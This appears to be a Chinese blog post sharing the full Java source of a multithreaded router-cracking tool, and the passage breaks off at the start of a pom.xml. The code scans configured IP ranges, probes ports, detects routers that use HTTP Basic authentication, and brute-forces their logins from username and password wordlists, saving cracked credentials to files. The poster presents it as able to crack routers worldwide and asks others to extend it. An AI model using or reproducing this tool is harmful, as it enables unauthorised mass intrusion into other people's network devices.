路由器扫描的Java源码
这个源码不是本人写的,是我原来的领导写的,我们都叫他东哥,这个是东留给我的一个小资源,好佩服他哦,这个东西可以用来扫描全世界的路由器,破解路由器账户和密码
当然是简单的了。我能力不够没有更完善的补充下。希望有能力的人做成界面形式,帮忙完善下。
1.java代码:
package cn.com.cisec.routercrack; import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties; public class App {
private static String tag = App.class.getSimpleName();
/**
* ping超时时间
*/
public static int pingTimeout = 5000;
/**
* socket链接超时时间
*/
public static int socketTimeout =5000;
/**
* http请求超时时间
*/
public static int httpTimeout =5000;
/**
* 线程数量
*/
public static int threadCount =100; public static List<Integer> ports ; public static List<String> routerInfo ; public static void main(String[] args) {
//MainFrame.createAndShowGUI();
start();//开始执行破解线程
}
/**
* 开始破解
*/
public static void start(){
initConfig();
List<Thread> list = new ArrayList<Thread>();
for (int i = 0; i < threadCount; i++) {
Thread t =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo);
list.add(t);
t.start();
}
//等待线程执行完毕
for(Thread t : list){
try {
t.join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
// new CrackThread().start();
//线程执行结束需要关闭打开的文件
CrackThread.writer.close();
LogUtil.i(tag, "程序结束");
}
/**
* 初始化配置文件
*/
public static void initConfig(){
Properties p = null;
try {
InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile()));
p = new Properties();
p.load(in);
threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim());
pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim());
socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim());
httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim());
String portsString = p.getProperty("ports", "80").trim();
String[] portArray = portsString.split(",");
ports=new ArrayList<Integer>();
for(String portSting:portArray){
ports.add(Integer.parseInt(portSting));
}
String routerInfoString = p.getProperty("routerInfo","route,Router,TD").trim();
String[] routerInfoArray = routerInfoString.split(",");
routerInfo = new ArrayList<String>();
for(String routerStr:routerInfoArray){
routerInfo.add(routerStr);
}
} catch (Exception e) {
//e.printStackTrace();
LogUtil.i(tag, "读取配置文件失败,使用默认配置");
//System.exit(0);
ports=new ArrayList<Integer>();
ports.add(80);
routerInfo = new ArrayList<String>();
routerInfo.add("router");
}
}
}
package cn.com.cisec.routercrack; import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException; public class ConfigFileReader {
private static String tag =ConfigFileReader.class.getSimpleName();
/**
*用户名配置文件
*/
private BufferedReader userReader;
/**
* 密码配置文件
*/
private BufferedReader passwordReader; public ConfigFileReader(){
File userConfigFile =FileUtil.getUserConfigFile();
File passwordConfigFile = FileUtil.getPasswordConfigFile();
try {
userReader = new BufferedReader(new FileReader(userConfigFile));
passwordReader = new BufferedReader(new FileReader(passwordConfigFile));
} catch (FileNotFoundException e) {
LogUtil.i(tag, "用户名或密码配置文件没有找到,请检查config目录下是否存在配置文件");
e.printStackTrace();
} }
/**
* 获取用户名
*
* @return 如果为null则读取结束
*/
public String getUser(){
String user=null;
try {
user = userReader.readLine();
if(user==null){
userReader.close();
}
} catch (IOException e) {
e.printStackTrace();
}
return user;
}
/**
* 获取密码
*
* @return 如果为null则读取结束
*/
public String getPassword(){
String password=null;
try {
password = passwordReader.readLine();
if(password==null){
passwordReader.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return password;
} public void close(){ try {
passwordReader.close();
userReader.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
package cn.com.cisec.routercrack; import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit; import org.apache.commons.codec.binary.Base64;
import org.apache.http.Header;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.impl.conn.BasicHttpClientConnectionManager; public class CrackThread extends Thread {
private static String tag = CrackThread.class.getSimpleName();
private static int count = 0;
private boolean isStop = false;
/**
* 记录是哪个线程
*/
private int who;
private static IpFactory ipFactory = IpFactory.getInstance();
public static ResultFileWriter writer = ResultFileWriter.getInstance();
/**
* ping测试的超时时间
*/
private int pingTimeout;
/**
* socket链接测试的超时时间
*/
private int socketTimeout;
/**
* 是路由器的标示
*/
public List<String> routerInfo ;
/**
* http请求超时时间
*/
private int httpTimeout; /**
* 需要扫描的端口号
*/
public List<Integer> ports ;
public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) {
count++;
who = count;
this.pingTimeout=pingTimeout;
this.socketTimeout=socketTimeout;
this.ports=ports;
this.routerInfo =routerInfo;
this.httpTimeout=httpTimeout;
} @Override
public void run() { while (!isStop) {
String ip = ipFactory.getIp();
if (ip == null) {
isStop = true;
} else {
//LogUtil.i("CrackThread" + who,"获取ip地址:"+ ip);
boolean isPingOk =isAddressAvailable(ip);
if(isPingOk){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"可达");
writer.writeActivateIp(ip);
//测试端口是否可达
for(int port:ports){
boolean isPortOk = isPortAvailable(ip,port);
if(isPortOk){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"开启");
writer.writeOpenPortInfo(ip,port);
Map<String,Object> basicInfo =getBasicInfo(ip,port);
boolean isBasic = (boolean) basicInfo.get(IS_BASIC);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//获得头信息
boolean isRouter =false;
for(String info:routerInfo){
if(headInfo.contains(info)){
isRouter=true;
break;
}
}
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式且是路由器");
writer.writeRouterInfo(ip, port);
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式不是路由器");
}
Map<String,Object> crackResultInfo = crackBasic(ip, port);
boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK);
if(isCrackOk){
String user = (String) crackResultInfo.get(USERNAME_OK);
String password = (String) crackResultInfo.get(PASSWORD_OK);
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式且是路由器,破解成功用户名:"+user+",密码:"+password);
writer.writeRouterOkInfo(ip, port,user, password);
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式,破解成功用户名:"+user+",密码:"+password);
writer.writeBasicOkInfo(ip, port,user, password,headInfo);
} }else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式,破解失败");
} }else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic认证方式");
}
/*boolean isBasic = isBasic(ip,port);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic认证方式");
}*/ }else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的"+"端口"+port+"未开启");
}
}
}else{
LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"不可达");
}
}
/*
* try { sleep(3000); } catch (InterruptedException e) { // TODO
* Auto-generated catch block e.printStackTrace(); }
*/
}
}
/**
* basic反馈的信息长量
*/
private static final String IS_BASIC="isBasic";
/**
* 反馈的头信息
*/
private static final String WWW_AUTHENTICATE="WWW-Authenticate";
/**
* basic状态码
*/
private static final int BASIC_STATUSCODE=401;
/**
* 获取basic的相关信息
* @param ip
* @param port
* @return 返回的map对象包含是否basic认证key=isBasic,basic认证的头部信息等key=WWW-Authenticate
*/
public Map<String,Object> getBasicInfo(String ip,int port){
Map<String, Object> result = new HashMap<String, Object>();
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){
result.put(IS_BASIC, true);
Header[] hs = response.getHeaders(WWW_AUTHENTICATE);
for(Header h:hs){
String headInfo = h.getValue();//服务器反馈的WWW_AUTHENTICATE头信息
//LogUtil.d(tag,headInfo);
//String[] infos = headInfo.split("\"");
/*for(String i:infos){
LogUtil.d(tag,i);
}*/
result.put(WWW_AUTHENTICATE, headInfo);
}
}else{
result.put(IS_BASIC, false);
}
} catch (Exception e) {
//e.printStackTrace();
result.put(IS_BASIC, false);
} return result;
}
/**
* 认证basic的头
*/
private static final String AUTHORIZATION="Authorization";
/**
* 是否破解成功
*/
private static final String IS_CRACK_OK="is_crack_ok"; private static final String USERNAME_OK ="user";
private static final String PASSWORD_OK="password";
/**
* 对basic进行破解,成功反馈相关信息
* @param ip
* @param port
* @return
*/
public Map<String,Object> crackBasic(String ip,int port){
ConfigFileReader reader = new ConfigFileReader();
boolean userReadOk =false;
while(!userReadOk){
String user = reader.getUser();
if(user!=null){
boolean passwordReadOk=false;
while(!passwordReadOk){
String password = reader.getPassword();
if(password!=null){
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
String value=user+":"+password;
value = Base64.encodeBase64String(value.getBytes());
value="Basic "+value;
LogUtil.d(tag, value);
httpGet.setHeader(AUTHORIZATION, value);
//Authorization:"Basic YWRtaW46MTIzcXdlMTIz"
try {
HttpResponse response = client.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){
Map<String,Object> result = new HashMap<String, Object>();
result.put(IS_CRACK_OK, true);
result.put(USERNAME_OK,user);
result.put(PASSWORD_OK, password); return result;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}else{
passwordReadOk=true;
}
}
}else{
userReadOk=true;
} }
Map<String,Object> result = new HashMap<String, Object>();
result.put(IS_CRACK_OK, false);
return result;
} /**
* 判断是否basic认证
* @param ip
* @param port
* @return
*/
public boolean isBasic(String ip,int port){
int basicStatusCode=401;
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(basicStatusCode==response.getStatusLine().getStatusCode()){
return true;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
} /**
* ip地址是否可达
* @param ip
* @return
*/
public boolean isAddressAvailable(String ip) {
try {
InetAddress address = InetAddress.getByName(ip);
return address.isReachable(App.pingTimeout);
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
/**
* 端口是否开启
* @param ip
* @param port
* @return
*/
public boolean isPortAvailable(String ip,int port){
Socket socket = new Socket();
SocketAddress endpoint;
try {
endpoint = new InetSocketAddress(InetAddress.getByName(ip), port);
socket.connect(endpoint,App.socketTimeout);
socket.close();
return true;
} catch (Exception e) {
//e.printStackTrace();
return false;
}
}
}
package cn.com.cisec.routercrack; import java.io.File;
import java.net.URL;
import java.util.ArrayList;
import java.util.List; public class FileUtil {
/**
* syslog应用程序被打包成为jar包发布。在syslog服务中,需要在jar文件位置创建临时文件夹,以保存数据。
* 临时文件夹:1 读文件中,ftp到中央日志服务的文件,被放到临时文件夹后再读。
* 2 分析会后的日志,保存一个月。如果选择了备份,则把每天需要备份的文件移动到一个临时备份文件夹。
* 逻辑:如果getDirFromClassLoader()方法计算不出来path,就取System.getProperty("user.dir")用户工作目录
* */
public static String getJarDir(){
String path = getDirFromClassLoader();
if(path == null){
path = System.getProperty("user.dir");
}
return path;
} /**
* 从通过Class Loading计算路径:
* 1 class文件通过jar包加载:
* 如果为jar包,该包为d:/test/myProj.jar
* 该方法返回d:/test这个目录(不受用户工作目录影响)
* 提示:在jar包加载 的时候,通过指定加载FileUtil的class资源得到jar:<url>!/{entry}计算出加载路径
* 2 class文件直接被加载:
* 如果是web工程,class文件放在D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF\classes
* 该方法返回D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF
* 即返回放class文件夹的上一层目录。
* */
private static String getDirFromClassLoader(){
try {
String path = FileUtil.class.getName().replace(".", "/");
path ="/"+path+".class";
URL url=FileUtil.class.getResource(path);
String jarUrl= url.getPath();
if(jarUrl.startsWith("file:")){
if(jarUrl.length()>5){
jarUrl = jarUrl.substring(5);
}
jarUrl = jarUrl.split("!")[0]; }else{
jarUrl = FileUtil.class.getResource("/").toString().substring(5);
}
File file = new File(jarUrl);
return file.getParent(); } catch (Exception e) {
}
return null;
} /**
* 找出指定目录及其子目录下,满足指定后缀的文件的绝对路径。
* 提示:方法中出现异常被内部捕获。
* @param dir 指定目录
* @param suffix 文件名后缀
*
* @throws IllegalArgumentException
* */
public static List<String> find(String dir,String suffix){
List<String> list = new ArrayList<String>();
try {
File file = new File(dir);
if(file.exists() && file.isDirectory()){
find(file, suffix, list);
}else{
throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dir);
}
} catch (Exception e) {
e.getMessage();
}
return list;
}
/**
* 递归遍历,查找满足后缀的文件
* @param dirFile 必须为一个存在的目录.不能为null
* @param suffix
* @param list 递归遍历目录记录满足后缀的文件的绝对路径。
* */
private static void find(File dirFile,String suffix,List<String> list){
if(dirFile.exists() && dirFile.isDirectory()){
File[] subFiles = dirFile.listFiles();
for(File subFile : subFiles) {
if(subFile.isDirectory()){
find(subFile, suffix, list);
}else{
String path = subFile.getAbsolutePath();
if(path.endsWith(suffix)){
list.add(path);
}
}
}
}else{
throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dirFile.getAbsolutePath());
}
}
/**
* 获得IP地址配置文件
* @return
*/
public static File getIpConfigFile(){
return new File(getJarDir()+"/config/","ips.txt");
}
/**
* 获得用户名配置文件
* @return
*/
public static File getUserConfigFile(){
return new File(getJarDir()+"/config/","users.txt");
}
/**
* 获得密码配置文件
* @return
*/
public static File getPasswordConfigFile(){
return new File(getJarDir()+"/config/","passwords.txt");
}
/**
* 记录ping成功的ip
* @return
*/
public static File getActivateIpsFile(){
return new File(getJarDir()+"/result/","activityIps.txt");
}
/**
* 记录打开端口的ip
* @return
*/
public static File getOpenPortIpsFile(){
return new File(getJarDir()+"/result/","openPortInfos.txt");
}
/**
* 记录是basic认证的ip
* @return
*/
public static File getBasicIpsFile(){
return new File(getJarDir()+"/result/","basicInfos.txt");
}
/**
* 记录basic认证破解成功的ip 用户名和密码
* @return
*/
public static File getBasicOkFile(){
return new File(getJarDir()+"/result/","basicOkInfos.txt");
}
/**
* 记录是basic认证但是路由的信息
* @return
*/
public static File getRouterFile(){
return new File(getJarDir()+"/result/","routerInfos.txt");
}
/**
* 记录是basic认证是路由破解成功的信息
* @return
*/
public static File getRouterOkFile(){
return new File(getJarDir()+"/result/","routerOkInfos.txt");
}
public static File getConfigFile(){
return new File(getJarDir()+"/config/","config.properties");
}
}
package cn.com.cisec.routercrack; import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; public class IpFactory { /**
* IP地址配置文件路径
*/
private File ipsFile; /**
* 是否需要读取文件
*/
private boolean isRead=true; private long minIpValue;
private long maxIpValue;
private long currentIPValue; private static IpFactory factory=null;
/**
* 读取Ip地址配置文件
*/
private BufferedReader reader; private IpFactory(){
ipsFile = FileUtil.getIpConfigFile();
try {
reader = new BufferedReader(new FileReader(ipsFile));
} catch (FileNotFoundException e) {
LogUtil.i("IpFactory","错误:IP地址配置文件没有找到!");
System.exit(0);
}
}
/**
* 获取工厂实例
* @return
*/
public static IpFactory getInstance(){
if(factory==null){
factory = new IpFactory();
}
return factory;
}
/**
* 加载IP配置文件中的数据到内存中
* @return 如果加载完成返回false 否则为true
*/
private boolean loadIps(){
try {
String net = reader.readLine();
if(net==null){
//reader.close();
return false;
}else{
//读取到的内容不为NULL
net.replace(" ", "");
if(IpUtil.isNet(net)){
String ip =net.substring(0, net.lastIndexOf("/"));
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
minIpValue = IpUtil.getMinIpValue(ip, mask);
maxIpValue = IpUtil.getMaxIpValue(ip, mask);
currentIPValue=minIpValue;
//设置是否需要读取
isRead=false;
return true;
}else if(IpUtil.isNetRange(net)){
String[] ipArray = net.split("-");
long tmpMin = IpUtil.getIpValue(ipArray[0]);
long tmpMax =IpUtil.getIpValue(ipArray[1]);
if(tmpMax>tmpMin){
maxIpValue=tmpMax;
minIpValue=tmpMin;
currentIPValue=minIpValue;
}else{
maxIpValue=tmpMin;
minIpValue=tmpMax;
currentIPValue=tmpMax;
}
isRead=false;
return true;
}else{
//不是网络地址,从新读取
return loadIps();
}
}
} catch (IOException e) {
LogUtil.i("IpFactory.loadIps()", "错误:无法读取IP地址配置文件!");
//System.exit(0);
return false;
} }
/**
* 提供给线程获取IP地址
* @return 返回null则读取完成
*/
public synchronized String getIp(){
if(isRead){
//是否需要读取ip
if(!loadIps()){
//读取完成
return null;
}
}
if(currentIPValue>=minIpValue&¤tIPValue<=maxIpValue){
String ip =IpUtil.valueToIp(currentIPValue);
currentIPValue++;
return ip;
}else{
isRead=true;
return getIp();
}
}
}
package cn.com.cisec.routercrack; import java.util.StringTokenizer;
import java.util.logging.LogManager;
import java.util.regex.Matcher;
import java.util.regex.Pattern; public class IpUtil { /**
* 获得实际的掩码的值
*
* @param mask
* @return
*/
public static long getMaskValue(int mask) {
return ((long) Math.pow(2, mask) - 1) << (32 - mask);
} /**
* 获得掩码的反码的值
*
* @param mask
* @return
*/
public static long getUnMaskValue(int mask) {
return (long) (Math.pow(2, 32 - mask) - 1);
} /**
* 根据IP地址获得它对应的值
*
* @param ipAddress
* @return
*/
public static long getIpValue(String ipAddress) {
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
// System.out.println(a+"."+b+"."+c+"."+d);
LogUtil.d("IpUtil.getIpValue", "转换的IP地址:" + a + "." + b + "." + c + "."
+ d);
long value = 0;
value = ((long) a) << 24;
value += ((long) b) << 16;
value += ((long) c) << 8;
value += d;
LogUtil.d("IpUtil.getIpValue", "ip地在转换后的值:" + value);
return value;
} /**
* 根据IP地址和掩码获得网络地址的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getNetValue(String ipAddress, int mask) {
long ipValue = getIpValue(ipAddress);
long maskValue = getMaskValue(mask);
//System.out.println("========================="+ipValue);
//System.out.println("============================"+maskValue);
//System.out.println("========="+(ipValue & maskValue));
return ipValue & maskValue;
} /**
* 获得最小的IP地址的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getMinIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//return getNetValue(ipAddress, mask) + 1;
return getNetValue(ipAddress, mask);
} else {
new IllegalArgumentException("错误:Ip格式不正确");
}
} else {
new IllegalArgumentException("错误:掩码应该大于等于0小于等于32");
}
return -1;
} /**
* 获得最大的IP的值
*
* @param ipAddress
* @param mask
* @return
*/
public static long getMaxIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//System.out.println("===="+getNetValue(ipAddress, mask));
//System.out.println("===="+getUnMaskValue(mask));
//return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ;
return getNetValue(ipAddress, mask)+getUnMaskValue(mask);
} else {
new IllegalArgumentException("错误:Ip格式不正确");
}
} else {
new IllegalArgumentException("错误:掩码应该大于等于0小于等于32");
}
return -1;
} /**
* 判断是否为IP地址
*
* @param ipAddress
* @return
*/
public static boolean isIp(String ipAddress) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(ipAddress);
if(m.matches()){
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){
return true;
}else{
return false;
}
}else{
return false;
}
}
/**
* 判断是否网络
* @param net
* @return
*/
public static boolean isNet(String net){
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String ip =net.substring(0, net.lastIndexOf("/"));
LogUtil.d("IpUtil.isNet()", "ip地址:"+ip);
if(isIp(ip)){
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
if(mask>=0&&mask<=32){
return true;
}else{
return false;
}
}else{
return false;
} }else{
return false;
}
}
/**
* 是网络范围192.168.1.1-192.168.1.254
* @param net
* @return
*/
public static boolean isNetRange(String net) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\-\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String[] ipArray = net.split("-");
if(isIp(ipArray[0])&&isIp(ipArray[1])){
return true;
}else{
return false;
}
}else{
return false;
}
}
/**
* long转换为IP地址
* @param value
* @return
*/
public static String valueToIp(long value) {
long maxValue = 4294967295L;
if (value > maxValue) {
new IllegalArgumentException("错误:超出最大的值");
return null;
} else {
long a, b, c, d;
a = (long) (value & 0x00000000ff000000) >> 24; b = (long) (value & 0x0000000000ff0000) >> 16;
c = (long) (value & 0x000000000000ff00) >> 8;
d = (long) (value & 0x00000000000000ff);
return a + "." + b + "." + c + "." + d;
}
} }
package cn.com.cisec.routercrack; public class LogUtil {
/**
* 调试信息
* @param tag
* @param msg
*/
public static void d(String tag,String msg){
//System.out.println(tag+"====>>"+msg);
}
/**
* 输出信息
* @param tag
* @param msg
*/
public static void i(String tag,String msg){
System.out.println(tag+"====>>"+msg);
}
}
package cn.com.cisec.routercrack; import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener; import javax.swing.GroupLayout;
import javax.swing.GroupLayout.Alignment;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField; public class MainFrame extends JFrame implements ActionListener {
/**
*
*/
private static final long serialVersionUID = 765875537593801454L; public MainFrame() {
super("路由破解"); int frameWidth=800;//窗口宽度
int frameHeight=600;//窗口高度
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//显示在屏幕中间
//主窗口布局
BorderLayout layout = new BorderLayout();
JPanel contentPanel = new JPanel();
contentPanel.setLayout(layout);
//配置窗口
JPanel configPanel = new JPanel();
JLabel label1= new JLabel("test1");
JLabel label2 = new JLabel("test2");
JTextField tf1=new JTextField();
JTextField tf2 = new JTextField();
GroupLayout configPanelLayout = new GroupLayout(configPanel);
configPanel.setLayout(configPanelLayout); // Turn on automatically adding gaps between components
configPanelLayout.setAutoCreateGaps(true); // Turn on automatically creating gaps between components that touch
// the edge of the container and the container.
configPanelLayout.setAutoCreateContainerGaps(true); // Create a sequential group for the horizontal axis. GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup(); // The sequential group in turn contains two parallel groups.
// One parallel group contains the labels, the other the text fields.
// Putting the labels in a parallel group along the horizontal axis
// positions them at the same x location.
//
// Variable indentation is used to reinforce the level of grouping.
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(label1).addComponent(label2));
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(tf1).addComponent(tf2));
configPanelLayout.setHorizontalGroup(hGroup); // Create a sequential group for the vertical axis.
GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup(); // The sequential group contains two parallel groups that align
// the contents along the baseline. The first parallel group contains
// the first label and text field, and the second parallel group contains
// the second label and text field. By using a sequential group
// the labels and text fields are positioned vertically after one another.
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label1).addComponent(tf1));
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label2).addComponent(tf2));
configPanelLayout.setVerticalGroup(vGroup); JPanel resultPanel = new JPanel(); contentPanel.add(configPanel, BorderLayout.CENTER);
contentPanel.add(resultPanel, BorderLayout.SOUTH); setContentPane(contentPanel);
} //React to menu selections.
public void actionPerformed(ActionEvent e) {
if ("new".equals(e.getActionCommand())) { //new
// createFrame();
} else { //quit
quit();
}
} protected void quit() {
System.exit(0);
} public static void createAndShowGUI() {
MainFrame frame = new MainFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
}
package cn.com.cisec.routercrack; import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter; public class ResultFileWriter {
private static ResultFileWriter resultFileWriter;
/**
* 激活的ip
*/
private PrintWriter activateIpsWriter;
/**
* 端口开启
*/
private PrintWriter openPortInfoWriter;
/**
* 是basic认证的IP地址
*/
private PrintWriter basicInfoWriter;
/**
* 破解basic成功的信息
*/
private PrintWriter basicOkInfoWriter; private PrintWriter routerInfoWriter; private PrintWriter routerOkInfoWriter; private ResultFileWriter(){
File activateIpsFile = FileUtil.getActivateIpsFile();
File openPortIpsFile = FileUtil.getOpenPortIpsFile();
File basicIpsFile = FileUtil.getBasicIpsFile();
File basicOkInfoFile = FileUtil.getBasicOkFile(); try {
activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile));
openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile));
basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile));
basicOkInfoWriter = new PrintWriter(new FileWriter(basicOkInfoFile));
routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile()));
routerOkInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterOkFile()));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} }
public static ResultFileWriter getInstance(){
if(resultFileWriter==null){
resultFileWriter = new ResultFileWriter();
}
return resultFileWriter;
} public synchronized void writeActivateIp(String ip){
activateIpsWriter.println(ip);
activateIpsWriter.flush();
} public synchronized void writeOpenPortInfo(String ip,int port){
openPortInfoWriter.println(ip+","+port);
openPortInfoWriter.flush();
} public synchronized void writeBasicInfo(String ip,int port){
basicInfoWriter.println(ip+","+port);
basicInfoWriter.flush();
} public synchronized void writeBasicOkInfo(String ip,int port,String user,String password){
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
basicOkInfoWriter.flush();
} public synchronized void writeRouterInfo(String ip,int port){
routerInfoWriter.println(ip+","+port);
routerInfoWriter.flush();
} public synchronized void writeRouterOkInfo(String ip,int port,String user,String password){
routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
routerOkInfoWriter.flush();
} public void close(){
activateIpsWriter.flush();
activateIpsWriter.close();
openPortInfoWriter.flush();
openPortInfoWriter.close();
basicInfoWriter.flush();
basicInfoWriter.close();
basicOkInfoWriter.flush();
basicOkInfoWriter.close();
routerOkInfoWriter.flush();
routerOkInfoWriter.close();
routerInfoWriter.flush();
routerInfoWriter.close(); }
/**
* 将IP地址 端口 用户名 密码 头信息写入文件
* @param ip
* @param port
* @param user
* @param password
* @param headInfo
*/
public void writeBasicOkInfo(String ip, int port, String user,
String password, String headInfo) {
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo);
basicOkInfoWriter.flush();
}
}
2.最最重要的是maven项目的pom.xml文件配置
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
